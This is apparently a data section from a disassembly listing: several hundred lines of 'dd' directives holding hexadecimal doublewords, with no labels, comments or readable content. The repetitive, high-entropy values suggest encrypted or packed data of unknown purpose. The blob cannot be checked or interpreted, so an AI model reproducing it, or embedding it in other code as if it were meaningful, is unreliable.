		dd 8C7D903Fh, 19639387h, 48B1FD1Eh, 8C7DA540h, 0D98A0E87h
		dd 0B9DD1EF6h, 6031D74Eh, 20E1C943h, 6379AAB2h,	8C7D9AAEh
		dd 0B3FDB1A7h, 0F6D75FB3h, 8C7D9A36h, 8C7DBD24h, 187E9387h
		dd 35E18CFh, 8C5D99AEh,	8DA1B787h, 207DD287h, 14DDD30Dh
		dd 8C7DD31Bh, 916305h, 0D9758660h, 0AE56DDFFh, 0F522D287h
		dd 8C7DCE2Eh, 8C36AF24h, 42441287h, 0D45658C6h,	0A5C2BBF5h
		dd 7438F697h, 0B75853CFh, 8C2722A3h, 0E3A9D287h, 6323614Dh
		dd 690BF540h, 53158E62h, 737DD49Eh, 8C7D8D05h, 8D9AB787h
		dd 0B97DD287h, 6922D30Ch, 8C7DD320h, 8C7C5512h,	8C94D287h
		dd 8DFBB787h, 0B97DD287h, 0F6DDD30Ch, 8C2621CEh, 0DF7D287h
		dd 194DAF98h, 41D825E9h
		dd 1E3E0879h, 4B18BAF0h, 0A5A5B788h, 0AC7DD287h, 0D748E8Eh
		dd 8C21221Dh, 0AB81D287h, 0DFDD7EBDh, 0BF9F5336h, 0ACD2D559h
		dd 0AC7DD2CFh, 73E7F99Eh, 0AC15F043h, 6822D287h, 8C7DD282h
		dd 0B97DD263h, 13DDD30Ch, 8C7DD319h, 0F2F742CBh, 9D7B979Dh
		dd 0EB0242A2h, 8C7DA524h, 35613A87h, 0DE14067Eh, 6A10A92Eh
		dd 4D2A366Fh, 65359C1Bh, 0CF7A1A8Dh, 4B18D7DEh,	8C7CF688h
		dd 8C2C3D12h, 9180D287h, 8F7DD287h, 0E84B8096h,	6CDE6D29h
		dd 43727002h, 4870B1A5h, 8C241BE3h, 61E5D287h, 5D4DA1DCh
		dd 8B97B4ABh, 4BDC8C48h, 9870B288h, 3E3C5BC0h, 5C019844h
		dd 4BDC875Ah, 8CF92188h, 0E403D287h, 0B9173705h, 9880D30Ch
		dd 287DD287h, 53A1CEB5h, 44369DCEh, 503AD996h, 15FF255h
		dd 8D3EF883h, 8C7CF587h, 8C1A21CFh, 3793D287h, 40D0887Eh
		dd 0DB3CC817h, 8C7D6D90h, 207DD263h, 8C31D30Dh,	8C7CF687h
		dd 0AC7DD330h, 8C7DBC3Fh, 8A96A887h, 9011111Ah,	0EDA5997Eh
		dd 8C363C12h, 0AC16D287h, 0F522D287h, 8C7DD322h, 8C7DBB24h
		dd 7ABF5187h, 0DBD49C78h, 737DD3ADh, 8C7DCF05h,	0A0363187h
		dd 0A05BC781h, 0B82017E1h, 0CA65ED8Dh, 0FE62C77Ah, 0E7997FA2h
		dd 0A05ACFF8h, 1FCE17E1h, 0E46A22DAh, 0C0984792h, 0D9B0A442h
		dd 7F387323h, 3C3516BAh, 0E65E171Ah, 0A0351C39h, 0A051CE81h
		dd 0AEF817E1h, 163A870Dh, 3A1FF9ECh, 78F611C7h,	0AC2AAF83h
		dd 445B3AD4h, 0A03517EFh, 803517F2h, 0A0351902h, 745AF9E1h
		dd 81C60B14h, 294017E1h, 0A0351716h, 0ADCA1FC5h, 84A98281h
		dd 0AE3F79E1h, 0A02C17E1h, 503D37E1h, 723517E1h, 0D456D164h
		dd 0EF539EDCh, 717FE7D0h, 2A7CC3DAh, 0A035171Eh, 0D6DE5DBFh
		dd 401CABC0h, 6B909B68h, 689F3A2Ch, 0C58CEE91h,	4F3516BAh
		dd 0A0351D9Ch, 0A04FC8E1h, 0B33C17E1h, 0DF78C94Eh, 496D8F42h
		dd 0AF31CA5Ch, 24CD8BEDh, 4F351C39h, 0A0352F95h, 80AA37E1h
		dd 67944F81h, 0A056C8E1h, 0F31E17E1h, 7874C81Bh, 0C482C3B3h
		dd 0A03554E6h, 2935173Eh, 0A03517C5h, 0B9C9DAE6h, 0E84E7C2Bh
		dd 83724A37h, 86429BC2h, 0A00E82DFh, 0A044C8E1h, 33F117E1h
		dd 0A5CCBD2Ah, 515F9DC6h, 0E6BA2BEAh, 34C82C06h, 2895171Ah
		dd 0A035171Eh, 400BA982h, 5B8927D7h, 0ED5FA8AAh, 0E08409A1h
		dd 9F908D9h, 3330AF84h,	0A035502Bh, 0A3D13181h,	203517E1h
		dd 1382EE28h, 67946113h, 510932E1h, 293517E1h, 0A0351716h
		dd 0BF25B66Ch, 8CEBB40Ah, 0DFEA850h, 0A02C17E2h, 480B32E1h
		dd 803517E1h, 20790B9Ah, 679487E2h, 824B37E1h, 0D962395Bh
		dd 81325035h, 4F3516BAh, 0A0352F88h, 530337E1h,	67944F81h
		dd 4AD132E1h, 293517E1h, 0A03517E3h, 6431FCC8h,	5DDD1495h
		dd 803517E1h, 2925AA1Ch, 0A03517C5h, 0B7B1B3FAh, 0CF3904CFh
		dd 71924360h, 0C838143Ch, 8184ECD3h, 259517E1h,	44F8EA9Ah
		dd 0A034A311h, 809517E1h, 4F3516BAh, 0A035336Fh, 0DF5B37E1h
		dd 24F7365Dh, 0A0355029h, 4F3517F2h, 0A035327Dh, 663232E1h
		dd 4F3517E1h, 0A0351661h, 293517E1h, 0A0351716h, 839F6D43h
		dd 3102407Bh, 77D9B02h,	0A04FC782h, 849F17E1h, 0EA3F3CBBh
		dd 41AA397Fh, 0B63E22EEh, 0B5F7187Eh, 0FC5A7D95h, 67A819C5h
		dd 4EA337E1h, 0A035166Eh, 0DF5BA2E1h, 673C4D48h, 0C73517E1h
		dd 0EDE4AC3Dh, 0A035F64Eh, 0C40C3881h, 6795B553h, 0A056C8E1h
		dd 90CF17E1h, 0D1FC6916h, 0FBB7DE48h, 2D5E208Eh, 0A03517EFh
		dd 993517F2h, 4E95171Ah, 0C85EE72Ch, 0A0351716h, 8097E861h
		dd 4F3017E1h, 583517E1h, 12B0EB50h, 9A7BA487h, 21BD0EB1h
		dd 0A04AAE63h, 0A0354602h, 69B8C2E1h, 2E8ED09h,	554F4401h
		dd 48A9D439h, 265AD0BFh, 0A04017E1h, 0A05CC8E1h, 57B117E1h
		dd 99EC6005h, 9693AD4Fh, 455E171Ah, 0A0351C04h,	0A0356002h
		dd 758947E1h, 459072ECh, 0A784B32Ah, 9A63C167h,	0A04ABDC9h
		dd 0A047DA1Ch, 663017E1h, 803517E1h, 36903F11h,	4F8F3590h
		dd 0A0351663h, 4EEF9FE1h, 803516BAh, 0A0352E02h, 0C342BAE1h
		dd 8BF924BCh, 2200D8A2h, 812CADB4h, 4F4117E1h, 0A035346Eh
		dd 20E837E1h, 20858431h, 67A8DB32h, 235BB8E1h, 0A0351C52h
		dd 0A0354602h, 8DB6DEE1h, 212A07E8h, 0AA29DB63h, 58B4D6Eh
		dd 30B3A92Fh, 0CA95171Ah, 4B3C4D52h, 863517E1h,	0E38AF111h
		dd 0D29186E1h, 0A03530CDh, 0A04A3B02h, 0A2646BE1h, 54F5EE72h
		dd 0F4600F33h, 0B8F6B05Ch, 0E49CB092h, 983515A4h, 2895171Ah
		dd 0A03517E3h, 562D72AFh, 8A061577h, 4F35168Fh,	0A0352094h
		dd 96B537E1h, 5884BCAAh, 0A0353102h, 0E4FB2FE1h, 0D4814580h
		dd 0BCDCA82Ch, 81B5BBF5h, 3C3517CDh, 0CA95171Ah, 0A035502Bh
		dd 0F8C73881h, 0A0356028h, 0BD084E1h, 0FA8D9A50h, 7304038Ch
		dd 70768148h, 4E950CBDh, 0A0351B6Eh, 0A04AB8E1h, 4F351759h
		dd 0A0353163h, 1B537E1h, 548261FCh, 8148AD83h, 259517E1h
		dd 0E521089Ah, 33650C60h, 67944B6Eh, 673237E1h,	0F43517E1h
		dd 8222406Dh, 28A606E6h, 0A0351717h, 58659D47h,	8BBC1AAEh
		dd 0A04A3AADh, 0A044C781h, 0C69717E1h, 0EFE0025Dh, 87186466h
		dd 93E9028Eh, 0BA358E93h, 0CBC9A481h, 67945078h, 0A1B732E1h
		dd 953517E1h, 5330171Ah, 3A3517E1h, 0BE7C86D3h,	2B2C849Ah
		dd 0B245BC2h, 0D5C6C0E4h, 0A035EDC7h, 0A0353102h, 0D33A3DE1h
		dd 9D071BE7h, 0E0DF3CEFh, 0A178F718h, 0AD0B32E1h, 293517E1h
		dd 0A03517E2h, 0AE98296h, 0F111B5C9h, 0CA5E17E1h, 0A0351C38h
		dd 2F953681h, 0A0351711h, 0A8BC35B8h, 0B958FDB5h, 189B2C5Fh
		dd 78E2C615h, 3C3516BAh, 0DA95171Ah, 0DF7B3F7h,	803516BBh
		dd 0A034DA1Ch, 7A9B17E1h, 0A0353129h, 5139EAE1h, 241DEC0Dh
		dd 0A37AC0A9h, 487B6D7Fh, 0A035159Ch, 6795A2E1h, 503D37E1h
		dd 0B63517E1h, 0B9E30BCBh, 5177FE81h, 0C438358Fh, 20063900h
		dd 67A80E79h, 0A05CC8E1h, 0CD5A17E1h, 0AD1FEDBDh, 30BCEB32h
		dd 0CE5E171Ah, 0A0351C54h, 0A047CE81h, 95917E1h, 514B5EC8h
		dd 0E065529Bh, 80955E6Ah, 293516BAh, 0A0351711h, 1B1EA399h
		dd 5B664C23h, 703F9FFEh, 0A0BFAD95h, 0C4DD32E1h, 803517E1h
		dd 67A8D797h, 0A05AC8E1h, 0EBE117E1h, 0FEFB05C5h, 7BEFF2BCh
		dd 39614E08h, 0A04AC0EDh, 0A0353102h, 115D4DE1h, 9D1D62ABh
		dd 0BFDF0591h, 679FA208h, 0A035F4E1h, 0A053971Ch, 4E9517E1h
		dd 0A035159Ah, 0A00B32E1h, 813517E1h, 109517E1h, 793CE162h
		dd 811FB661h, 719517E1h, 840335A3h, 80944F81h, 0DA9517E1h
		dd 0C6857B59h, 0E00614D0h, 4B3C4F8Dh, 0E23517E1h, 674A615Ch
		dd 0A7D9E5E2h, 0A0354A6Dh, 0A0352E02h, 44573E1h, 5D3016CDh
		dd 642DA08Dh, 292C17E1h, 0A0351709h, 1F2C3603h,	0A00E6477h
		dd 0A035F3E1h, 0A0353202h, 490276E1h, 4DEF162Fh, 72E0275Eh
		dd 3256B1A6h, 4E95171Ah, 0A035159Ch, 513D86E1h,	0C83517E1h
		dd 0A99750B1h, 0F7C84150h, 0C8EC9393h, 55C9EF48h, 6795A18Ch
		dd 0A05EC8E1h, 6D9E17E1h, 1201E66Eh, 57437555h,	63429AF2h
		dd 38F45A99h, 0A0352714h, 953517F2h, 2F95171Ah,	0A0351711h
		dd 0E4B588E4h, 0BD49F8Eh, 0DA314C13h, 2875F9ADh, 0A03517E3h
		dd 0FB41908Ch, 4EAF6109h, 67A8D764h, 0AEDD32E1h, 803517E1h
		dd 0A04A9C1Ch, 215E17E1h, 0A035171Bh, 293516BAh, 0A035170Ah
		dd 0A3957C26h, 0C4244983h, 6331DAB5h, 0C83D5F7Dh, 455E171Bh
		dd 0A0351716h, 0A088B21Ch
		dd 455E17E1h, 0A035171Ah, 4F4D17E1h, 0A0351A8Bh, 0A035F3E1h
		dd 99351759h, 5130171Ah, 653517E1h, 4A25E425h, 1E4CDA4Eh
		dd 0C6F4292Eh, 991F7203h, 4F30171Ah, 4C3517E1h,	7068A024h
		dd 0ECE0C2D6h, 0D443FB18h, 16956C35h, 25964F82h, 816BE967h
		dd 0A04017E1h, 0B8DE32E1h, 293517E1h, 0A03517C5h, 2D4733DDh
		dd 0C87B5220h, 539A31A6h, 0EB3C9ECBh, 0A04ECCBFh, 0A051C8E1h
		dd 0A0EC17E1h, 0FF9A903Ah, 8B871F14h, 4FEA40ECh, 0A0351A9Ch
		dd 0A035F3E1h, 0A154A81Ch, 289517E1h, 0A03517E2h, 911C30CEh
		dd 3D8B0244h, 0A0353137h, 3E34ABE1h, 38745CC9h,	7E8C4F94h
		dd 81F9C29Eh, 0A05CCE81h, 474517E1h, 0A98819EDh, 4807701Ah
		dd 8174A4BBh, 0A04D17E1h, 37CA37E1h, 4318AD54h,	815C056Eh
		dd 0A04117E1h, 0A05BC8E1h, 621B17E1h, 449DFFDCh, 59EC0D61h
		dd 8F339B0Bh, 4F351765h, 0A0355C96h, 0A10932E1h, 3C3517E1h
		dd 4E95171Ah, 4EA8F164h, 0A035287Dh, 0A05DC8E1h, 81A17E1h
		dd 0AFB77521h, 0A00463D8h, 0A04FC8E1h, 0CDDA17E1h, 622B83Dh
		dd 38918D3Eh, 0A72045DDh, 899EFE08h, 0A04AC2A6h, 0A0354502h
		dd 0C84D69E1h, 0E04487EDh, 0E69EAE2Ah, 0E9B3F471h, 67B1B6CBh
		dd 5CDD32E1h, 803517E1h, 0A0354602h, 9EA814E1h,	31A72BF0h
		dd 0DA1D1971h, 24281C01h, 118E6CF0h, 6795C288h,	0A04FC8E1h
		dd 2E5617E1h, 9F229D85h, 5ABED502h, 0AA99F1BFh,	9D960BC4h
		dd 4F35170Eh, 0A035626Fh, 56D032E1h, 293517E1h,	0A035171Fh
		dd 1D174D08h, 0EF8EE62h, 0BEB516F5h, 34FFA9D7h,	3C351584h
		dd 293517F3h, 0A0351714h, 0A5B9AFB0h, 0A0352986h, 0A0355A02h
		dd 4CFD10E1h, 4782EE46h, 4830171Ah, 243517E1h, 0DF2EAA7Eh
		dd 0A05E6F77h, 70AAB8E1h, 0DF5BA024h, 6794874Ah, 0A1DD32E1h
		dd 953517E1h, 0A041171Ah, 0A05DC8E1h, 40BC17E1h, 0B7667301h
		dd 0A0E73E0Bh, 98C737E1h, 4828442Ch, 0A0354D07h, 0A0354602h
		dd 65765FE1h, 0D57085B2h, 0C0CAA447h, 7B7ED5Bh,	99BB9DB5h
		dd 0A02C171Ah, 4F30FFE1h, 433517E1h, 0D9E76039h, 0B6AFD266h
		dd 0AFBE6B2Ah, 0A04AB71Fh, 0A035FF59h, 803517F2h, 0A034991Ch
		dd 0CB4017E1h, 0A03550F3h, 0A2D13181h, 803517E1h, 0A052CEBAh
		dd 77AC17E1h, 38FAD7C3h, 7A41005Ah, 803516BAh, 0A0352D29h
		dd 0E9B247E1h, 24EE7C92h, 292EAA7Eh, 0A0351710h, 0BB660F5Ah
		dd 0F857A6D1h, 0B3801D20h, 22ED3751h, 25AC5491h, 67A8ED88h
		dd 704B37E1h, 81650A84h, 8C82332Ch, 1D69BDF9h, 80946517h
		dd 259517E1h, 805E8598h, 0A0352302h, 0EEAA6FE1h, 2975AF8Ch
		dd 65582205h, 80968A37h, 803516BAh, 2822AA1Ch, 0A03517E2h
		dd 0E6EA72FAh, 7A6217FAh, 66B1F35Bh, 679461FCh,	0E3B537E1h
		dd 497627A0h, 0A051CE81h, 0DBD317E1h, 15A9F16Bh, 0CA675B89h
		dd 1ECC33A0h, 6794505Ah, 7DE837E1h, 0CB5A8CBBh,	0A0351716h
		dd 8125AD83h, 80351759h, 74B7E29Ah, 20EB10EAh, 812E1823h
		dd 0CF5E17E1h, 0A0351711h, 0A0351C02h, 994F3E1h, 0B78A994Bh
		dd 0A0903B46h, 0AE3C53A1h, 0DF3517E1h, 363F81EEh, 965EED1Bh
		dd 4CF92C3Bh, 29351C22h, 0A0351716h, 0D69C5E8Dh, 6E618E22h
		dd 43B3BB95h, 0A02C171Ah, 25A337E1h, 3452F39Ah,	67A8FE81h
		dd 0A04AB8E1h, 0A035FFF2h, 0A044A81Ch, 0AD3017E1h, 0DE3517E1h
		dd 49381528h, 0B03F9DA5h, 9EE095D9h, 2C5E171Ah,	0A03517E3h
		dd 37DAF281h, 0A052C78Fh, 0B4C517E1h, 0B74F7750h, 0A0351BABh
		dd 604B9681h, 3C3516BAh, 0A04D171Ah, 0AC0932E1h, 4F3517E1h
		dd 0A035306Fh, 0A00932E1h, 0A03517E1h, 0A04AB8E1h, 0A0352D02h
		dd 223597E1h, 6DEF79EAh, 0A0CCB7CFh, 0A05AC8E1h, 0C65317E1h
		dd 0A334C6EAh, 0D68DD136h, 0D604B1B2h, 0A03532D1h, 803517F2h
		dd 8139BD97h, 0AC3017E1h, 143517E1h, 19A55414h,	4D23B301h
		dd 80409551h, 8142AA1Ch, 0B43017E1h, 673517E1h,	0F385E642h
		dd 73563EEAh, 72AF63CDh, 697FC37h, 4F18F495h, 0A035229Ah
		dd 53C832E1h, 293517E1h, 0A035171Ch, 0EFEF3F28h, 0D39F5AE9h
		dd 41A1DBACh, 0A04AB282h, 0C43C3181h, 0C63517E1h, 2FB08C5Bh
		dd 0A0351711h, 0A055B0AFh, 97C22988h, 0D8B4E8A8h, 2005674Dh
		dd 80EE3479h, 0A04017E1h, 48DF32E1h, 4F3517E1h,	0A0351B96h
		dd 4E9537E1h, 0A035338Bh, 0DF5B37E1h, 0D0EF8349h, 67946322h
		dd 0A1DE32E1h, 953517E1h, 4E95171Ah, 0AFBEE2Ch,	953516BBh
		dd 0A04D171Ah, 4EA337E1h, 0A0351589h, 445A61E1h, 0A03517E0h
		dd 67A8D488h, 0A05EC8E1h, 93217E1h, 2A7BD20Dh, 8FA1496Fh
		dd 6AD254Bh, 0D0F54B47h, 0A035857Eh, 0C5DF323Eh, 803517E1h
		dd 8143AD83h, 0AC3017E1h, 0CB3517E1h, 6868C2AFh, 5BCEA74Dh
		dd 4F04456Ah, 0A0354B94h, 0C53D37E1h, 843517E1h, 8BC1E73Dh
		dd 0A04AB211h, 67A817E1h, 0B4D132E1h, 293517E1h, 0A0351711h
		dd 9A6A39B3h, 0AA152515h, 1D092902h, 0A1786220h, 0A053C8E1h
		dd 451317E1h, 3DD6BE65h, 953515D2h, 0A040171Ah,	0A088C8E1h
		dd 0AACF17E1h, 22A615B8h, 99351727h, 0A04D171Ah, 0C40B32E1h
		dd 803517E1h, 67944F81h, 0A05BC8E1h, 0A37217E1h, 882FCA8Dh
		dd 0F3446E88h, 8DAE7DB9h, 0A04AB829h, 0A0351902h, 0E58671E1h
		dd 0A087E68Eh, 493D37E1h, 0AF3517E1h, 0AFDA7536h, 116073ABh
		dd 4F3516BBh, 0A0352D9Ch, 0A2B732E1h, 803517E1h, 4F3516BAh
		dd 0A0354995h, 0CE5B37E1h, 0A035171Bh, 0A0351929h, 0BA1180E1h
		dd 1EDE0DADh, 803516BBh, 3CE28083h, 52D4D16Fh, 67A8419Ch
		dd 493237E1h, 213517E1h, 68796F5Bh, 0FB38C5D3h,	4F329FF4h
		dd 4F3517E1h, 0BF8D4903h, 2E44003Bh, 0F10F6D07h, 0DF5A887Ch
		dd 67959F6Eh, 0A047C8E1h, 0F00F17E1h, 778EDC0Bh, 0F80C72A3h
		dd 4F351735h, 0A0353196h, 66D332E1h, 4F3517E1h,	0A035167Dh
		dd 3C3517E1h, 0E75E171Ah, 0A0351708h, 0C95EF381h, 0A035171Bh
		dd 293516BAh, 0A0351710h, 9F6D00D6h, 6B06A9BAh,	93A6732Eh
		dd 0C529D150h, 0A0460C84h, 0A04AB8E1h, 0A04AB8CDh, 0A056B21Ch
		dd 0CF5E17E1h, 0A0351715h, 0A04ADA1Ch, 0A03517E1h, 803517CDh
		dd 0A0352329h, 6E8594E1h, 5E8B41F1h, 8D8B5244h,	0A0DE1705h
		dd 783517E1h, 0F412AF83h, 0A03550E9h, 0A0355A02h, 0BCACF1E1h
		dd 0C047E3Eh, 0A04117E2h, 0A04AB8E1h, 0A05CE41Ch, 0C53017E1h
		dd 0B33517E1h, 6111F073h, 0A04117E1h, 0A05BC8E1h, 0E06D17E1h
		dd 3365CAC2h, 4082B036h, 36D097A2h, 803515ACh, 4F53C183h
		dd 0A0354729h, 0D316BFE1h, 7CDBB812h, 62ED1955h, 54F0682Ah
		dd 0A088CD96h, 0A53317E1h, 4F4076A2h, 67945EC7h, 0A035FFE1h
		dd 0DAE83681h, 8095788Dh, 0A05CC7BAh, 53BF17E1h, 0B40B0882h
		dd 0FC0F0389h, 0A047C782h, 85F317E1h, 0B082C017h, 0C5A70714h
		dd 983517C2h, 0A02C171Ah, 0ACD032E1h, 4F3517E1h, 0A0352F9Ah
		dd 0A00B32E1h, 993517E1h, 20E836BAh, 2A7F583Eh,	0A03517E2h
		dd 0F52E0124h, 3F8E44E8h, 0A04ACE8Fh, 20AF17E1h, 972D3F29h
		dd 9939B809h, 0DAEBDE8Bh, 215A5A45h, 0A03517E0h, 0D9AA373Eh
		dd 0C201CEBEh, 4FF8BE83h, 814CADBAh, 7E079C62h,	20955A79h
		dd 0FCF02435h, 2CA8FF08h, 0FA6D9160h, 22D0F30Ah, 6722812Ah
		dd 0A0352D02h, 3595C0E1h, 7E4656A9h, 2817EBA4h,	0A035404Fh
		dd 0A1AACF3Eh, 259517E1h, 0CB18812Ch, 221250F3h, 672277AFh
		dd 0A03517E1h, 533C853Eh, 0BC3517E1h, 2B851D9h,	62ADC340h
		dd 0CC6832E8h, 0DF003F9Fh
		dd 454B135Eh, 67184033h, 11BDF413h, 4FE18E9Ah, 0A0351B62h
		dd 5230F3E1h, 0F53517E1h, 0DACAF2E2h, 0C0343986h, 0C9ECDD1Eh
		dd 553C15D8h, 0F1ECE4D2h, 4F8B2009h, 0A035319Ah, 0A053C8E1h
		dd 893817E1h, 2AAD0B6Ch, 2A089742h, 298B0A74h, 0A0351716h
		dd 50D4A988h, 3138BFD7h, 6DBB4D93h, 0A034971Ch,	9F4017E1h
		dd 0A04FC54Ah, 16E617E1h, 5B134644h, 6C823220h,	0E848179Fh
		dd 2E065499h, 0A056C80Eh, 0F7A617E1h, 62C57F6h,	766FD2B1h
		dd 45DDA4F7h, 67180D23h, 799A3681h, 0CAE836BAh,	813FB4EDh
		dd 4F894CBAh, 0A0353E88h, 673D37E1h, 0EB3517E1h, 0ABAA1697h
		dd 523D38CDh, 0D93517E1h, 7DAEF6DFh, 0B9FF4D9Ah, 51D8C6EEh
		dd 0A7A299ABh, 67BD502Bh, 4F351711h, 0A0351695h, 0A052C8E1h
		dd 6DFB17E1h, 37F51B63h, 27BD10E3h, 4F351616h, 0A0355D6Fh
		dd 0A1B532E1h, 983517E1h, 455E16A8h, 0A0351C04h, 742F9681h
		dd 0A0352E29h, 179530E1h, 32BFEE1h, 9961F0A3h, 908A4F81h
		dd 4B4D9DF3h, 46091721h, 2935171Ah, 0A035171Ch,	52E9DAC9h
		dd 25AA9D6Ah, 48A9C80h,	22D03F5Dh, 672277AFh, 0A053971Ch
		dd 493017E1h, 0B23517E1h, 0A6A108AFh, 9ED7388h,	7DEE9C63h
		dd 25955A79h, 81CBE45Bh, 0A3505732h, 0A089C8E1h, 0F43417E1h
		dd 0CA943706h, 0F8CA37F3h, 0E16E4D22h, 0A035AE12h, 334D17E1h
		dd 0E2CA3668h, 3CA37E8h, 80EA85D3h, 0AA4C84BAh,	66323215h
		dd 803517E1h, 809584D0h, 50354EBAh, 0CA5E17E1h,	0A03517E3h
		dd 0A034E41Ch, 809517E1h, 0A08916A9h, 67BCB8E1h, 0DE5E7781h
		dd 8BE471EDh, 0A05BC78Fh, 382A17E1h, 0E06D5A4Ah, 3365CAC2h
		dd 4082B036h, 5C7E4A2h,	298B20C0h, 0A0351708h, 0A1B89C84h
		dd 0C84545C9h, 4EAF7715h, 0A035326Fh, 660B32E1h, 4F3517E1h
		dd 0A035166Eh, 43B4A8E1h, 298B0F2Fh, 0A03517E3h, 629C81AEh
		dd 25955059h, 16981C88h, 0CA945DBCh, 97035B64h,	0CE5B3709h
		dd 0A03517C6h, 0A0353102h, 0A56998E1h, 49AAFE14h, 0FAC9B7A4h
		dd 81509620h, 0C795E820h, 0DFFEBF81h, 56A35C66h, 47B538BAh
		dd 0A6948294h, 91583B60h, 60351709h, 0C7AAB8E1h, 79874F81h
		dd 8124ADBAh, 5695B254h, 50355F4Ah, 814017E1h, 0A089971Ch
		dd 179517E1h, 20954FBCh, 0B5A5AE5Ah, 2DF4B69Dh,	7EBFABF3h
		dd 28B89886h, 7BF7D86h,	7EBF7D84h, 0D656C6F6h, 73C89DA2h
		dd 0BCFF2A1Ah, 45B6C01Dh, 29BF7D86h, 0EF49CE96h, 3DB5249Ah
		dd 6E839886h, 1ABF7D7Dh, 80CFCAF2h, 7E0C317Bh, 0A71F7D86h
		dd 794D9C2Dh, 2E80FBE8h, 88839872h, 76BF7D86h, 9298FC94h
		dd 0FE621DE6h, 5FA2A201h, 7D044E65h, 7ED42E86h,	903C7D86h
		dd 80C03E7Bh, 0EC29AC9Fh, 0CAC60217h, 0BDD1B073h, 599229Ah
		dd 7EBF9676h, 7ECF2E86h, 7BB07D86h, 0E858F8DDh,	483D0876h
		dd 0DC583F0Fh, 8FA4C77h, 7D046854h, 7EBFC650h, 0E9CB0686h
		dd 445A9E7h, 6D970DA5h,	2C810AA4h, 0BD0EF11h, 7EBF7D88h
		dd 2E1C80AAh, 7EBF7D87h, 7EBF7F65h, 24B55786h, 2DD4510Ah
		dd 7EBFC9F1h, 92579886h, 7BF7D86h, 7EBF7D76h, 53000345h
		dd 77AB7427h, 9A90F9FBh, 75F26FFh, 7D0467E8h, 7EDC0276h
		dd 23D47D86h, 7EBF7D73h, 7EC0097Bh, 5FA67D86h, 7EDC157Bh
		dd 31F7D86h, 575182FDh,	349115E4h, 0ACD0B33Bh, 7EBF8233h
		dd 7ED1177Bh, 28BA7D86h, 5CBF7D86h, 8CDC3595h, 0E9AF5062h
		dd 0ADD43EE2h, 7EBF7D99h, 7EBF7F65h, 0A2263F86h, 0F4DEDD93h
		dd 8A7D9EE5h, 89879F52h, 0C4D1A118h, 7EBF7D75h,	7EBF9365h
		dd 0A0D5F986h, 2FD106B3h, 0A9791809h, 61F5950h,	7EBF7D6Dh
		dd 0C605A77Fh, 0DBC5F290h, 92D61F3Fh, 43AFBFF1h, 7EBF7D4Eh
		dd 83F0386h, 4591796Ah,	7EBFC065h, 0DF5E6186h, 74E8251Dh
		dd 246E1440h, 2D017548h, 7EBF811Ah, 634D1E86h, 23D4596Eh
		dd 7EBF7D73h, 34879EE6h, 4457A12Bh, 7ED82DE6h, 32DF7D86h
		dd 160CDEFCh, 55D0D5DDh, 0B4B695h, 45AC5653h, 153F9D72h
		dd 37926233h, 2D30E6E4h, 31FB5DDh, 347341FDh, 7EBF7F65h
		dd 0ECA5ED86h, 60F7437Fh, 7EC52B45h, 4E97D86h, 12E15200h
		dd 8586B43Ah, 0A18534D3h, 4377DD1Eh, 7E03582Eh,	0BD19DAAh
		dd 7EBF7D85h, 8AA615E6h, 5E63DE1Ch, 7EBF8265h, 84A68F86h
		dd 0E97E7D88h, 8505BD27h, 7EB78278h, 58BF7D86h,	7A3739FDh
		dd 8BB6C01Eh, 95BF7D86h, 86D1C5DAh, 0FB3B1036h,	0C1D689DCh
		dd 7EBF894Fh, 64587486h, 0E9F1508Bh, 0DC60F0A9h, 216E14A3h
		dd 7017548h, 7EBF7D9Ah,	5D59F632h, 0C9489A5Ah, 3825DF45h
		dd 757F3618h, 0BB83986Eh, 5EBF7D87h, 0D9A815E4h, 97889FA7h
		dd 0DC4CB336h, 0A8A513E6h, 0DD4CB652h, 7EC0A14Fh, 0EA5F9986h
		dd 5021B5C0h, 569E00A2h, 7C79C674h, 74C04297h, 0ED719858h
		dd 7ECE2E7Ch, 6F4B7D86h, 9B777416h, 118250B0h, 62B9E73Eh
		dd 97E95498h, 0FEBF0094h, 7E414A75h, 0A9D47D86h, 7EBF7D84h
		dd 7EBDFB7Bh, 5E1F7D86h, 2C1F3E87h, 0B7166D4Bh,	0A5228B72h
		dd 0FE61D319h, 5F3E7942h, 7EBFC865h, 8C5B9886h,	7BF7D86h
		dd 7EBF7D70h, 812B552Dh, 0DD106428h, 6A569CD7h,	76AA73E8h
		dd 5FA713DDh, 0B5749BC7h, 7EBFAB64h, 66DE6386h,	8D9D2890h
		dd 2A280800h, 0F6469D5Fh, 2D75ADAFh, 7EBF7C04h,	401EC786h
		dd 7EDB2DE6h, 0DF37D86h, 0A075BCA7h, 96825013h,	0FEB43E62h
		dd 0A8226342h, 70EBF103h, 7ED02E6Eh, 0CBCF7D86h, 27561167h
		dd 75C8294Bh, 5E0005C0h, 0B505CB5h, 459290D8h, 7E5C97E6h
		dd 1ABF7D86h, 7ECD2DE8h, 4EA17D86h, 0FC339BF1h,	5EE82A1Bh
		dd 2DA76728h, 7EBF6408h, 0D7005986h, 7FF14075h,	5ECB7D86h
		dd 9C8A9FAAh, 84B4B641h, 7EC52E89h, 22FB7D86h, 0F5A28757h
		dd 66DA0A4Fh, 0F11E7EE6h, 2E53B737h, 1C7B38DAh,	0AD46886h
		dd 7EBF7D88h, 2D946459h, 7EC002F2h, 7F509886h, 73BF7D86h
		dd 392F0CF0h, 0D1FC52Dh, 7EBF7D7Bh, 0BDE1AC4Ah,	8453728Ah
		dd 7CC49628h, 59C72BF8h, 5FA913E4h, 7EBEFD7Bh, 7A67D86h
		dd 7D012774h, 7EBF9850h, 13A09286h, 0F1ED9A99h,	76EF290h
		dd 0A86DFFD2h, 0B7629CE7h, 27B76C24h, 1DBF7D86h, 33FF634Ah
		dd 8AF24F94h, 531F3BDDh, 7EBF8E4Eh, 99E0FA86h, 5F0B978Dh
		dd 5725D97Fh, 5FA24106h, 7EB764E6h, 58BF7D86h, 0DD8339FDh
		dd 44B6C01Dh, 9FBF7D86h, 0B601ED81h, 7F5098A7h,	77BF7D86h
		dd 0BF552A1Ah, 44B6C01Dh, 88BF7D86h, 98F18FC6h,	7FBFE915h
		dd 2EBA7D86h, 13BF7D86h, 20530669h, 0C1C2008Eh,	0F64233E5h
		dd 0D039AD83h, 2C1FA246h, 7EBFC2EEh, 7F599886h,	1ABF7D86h
		dd 0C51FF402h, 0FE61C41Dh, 5F717052h, 0BF5501EFh, 0BD0C01Dh
		dd 7EBF7D88h, 243E0E95h, 5E017548h, 7EBF824Eh, 73877986h
		dd 26A82466h, 0D34A917Bh, 92B7F411h, 41BF7D86h,	0A691CCDDh
		dd 0ACD2A5E0h, 9B1F0E76h, 7BF2FED5h, 58F479D9h,	0A7A815DCh
